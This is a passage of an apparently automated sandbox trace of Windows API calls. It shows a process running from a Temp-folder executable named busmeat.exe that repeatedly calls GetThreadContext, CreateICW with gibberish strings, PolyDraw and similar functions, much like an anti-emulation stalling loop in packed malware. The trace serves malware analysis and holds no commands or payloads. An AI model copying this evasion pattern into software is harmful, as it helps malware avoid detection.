	[0066.272] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.272] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.273] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.273] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.273] GetConsoleCP () returned 0x0
	[0066.273] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.273] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.274] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.274] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.274] GetConsoleCP () returned 0x0
	[0066.274] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 